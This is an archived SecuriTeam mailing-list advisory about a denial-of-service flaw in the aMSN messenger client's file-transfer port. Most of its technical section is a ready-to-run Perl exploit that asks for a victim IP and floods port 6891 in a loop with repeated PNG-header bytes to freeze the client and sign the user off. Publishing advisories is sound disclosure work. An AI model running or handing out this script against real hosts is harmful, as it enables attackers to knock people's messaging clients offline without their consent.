[EXPL] aMSN Messenger DoS (Send File)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



aMSN Messenger DoS (Send File)
------------------------------------------------------------------------


SUMMARY

<http://amsn.sourceforge.net/> aMSN is "a free open source MSN Messenger
clone". A vulnerability in aMSN allows remote attackers to cause the
client to no longer respond to legitimate requests.

DETAILS

The bug consists when the attacker sends a file via AMSN, it opens port to
send and receive the file, the port that usually opens is the 6891 (can be
random). The following exploit will freeze victim's client and sign him
off.

Exploit:
#!/usr/bin/perl
use IO::Socket;

$x = 0;
print q(
**************************************
* AMSN REMOTE DOS XPL *
* BY *
* Red-Point *
* red-point@xxxxxxxxxxxxxxxxxxxxx *
**************************************
);

print q(Victim IP: );
$hos = <STDIN>;
chop ($hos);

print q( );
$type = seC0de;
chop ($type);

if($type == seC0de){
while($x != 9999999){

$postit = "";
$lrg = length $postit;
my $sock = new IO::Socket::INET (
PeerAddr => "$hos",
PeerPort => "6891",
Proto => "tcp",
);

die "\nEl host esta fuera de servicio o no estas conectado a internet
$!\n" unless $sock;

print $sock
"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D".

"\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00".

"\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44".

"\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47".

"\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00".

"\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48".

"\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E".

"\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A".

"\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49".

"\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A".

"\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D".
"\x49\x48\x44\x52";
close($sock);
syswrite STDOUT, "|";
$x++;
}
}
else{
die " \n";
}


ADDITIONAL INFORMATION

The information has been provided by <mailto:sabes@xxxxxxxxxxxxxxxxxx>
Braulio Miguel Suarez Urquijo.



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages